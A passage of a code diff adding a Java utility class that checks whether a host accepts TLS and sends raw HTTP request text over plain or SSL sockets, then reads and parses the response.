javax.net.ssl.SSLException; +import javax.net.ssl.SSLHandshakeException; +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; +import java.io.*; +import java.net.*; + +public class Socket_http_utility { + + public static Boolean if_is_https(Http_req_pars http_req_pars) throws IOException { + String host = http_req_pars.getHost(); + Integer port = http_req_pars.getPort(); + OutputStreamWriter streamWriter = null; + BufferedWriter bufferedWriter = null; + Socket socket = null; + try { + socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port); + streamWriter = new OutputStreamWriter(socket.getOutputStream()); + bufferedWriter = new BufferedWriter(streamWriter); + bufferedWriter.write("POST / HTTP/1.1\r\n"); + bufferedWriter.flush(); + return true; + }catch (SSLHandshakeException e){ + bufferedWriter.close(); + socket.close(); + return false; + }catch (ConnectException e){ + return false; + }catch (SSLException e){ + bufferedWriter.close(); + socket.close(); + return false; + } + } + + public static Http_res_pars send_s_http2(Http_req_pars http_req_pars) throws IOException { + Socket socket; + String host = http_req_pars.getHost(); + Integer port = http_req_pars.getPort(); + String http_= http_req_pars.getHttp_text(); + Boolean is_https = http_req_pars.getIs_ssl(); + if (is_https){ + socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port); + }else { + socket = new Socket(host, port); + } + OutputStreamWriter streamWriter = new OutputStreamWriter(socket.getOutputStream(), "utf-8"); + + BufferedWriter bufferedWriter = new BufferedWriter(streamWriter); + + String[] http_s=http_.split("\r\n"); + for(String h_line:http_s){ + if (h_line.contains("Accept-Encoding: ")){ continue;} + bufferedWriter.write(h_line+"\r\n"); + } + bufferedWriter.write("Content-Type: application/x-www-form-urlencoded\r\n"); + bufferedWriter.write("\r\n"); + bufferedWriter.write("\r\n"); + bufferedWriter.flush(); + + BufferedInputStream streamReader = new BufferedInputStream(socket.getInputStream()); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(streamReader, "utf-8")); + String res_text=""; + String line = null; + while((line = bufferedReader.readLine())!= null) + { + res_text += line+"\r\n"; + } + bufferedReader.close(); + bufferedWriter.close(); + socket.close(); + Http_res_pars http_res_pars =new Http_res_pars(); + http_res_pars.res_pars(res_text); + + return http_res_pars; + } + + public static void main(String[] args) { + + } + +}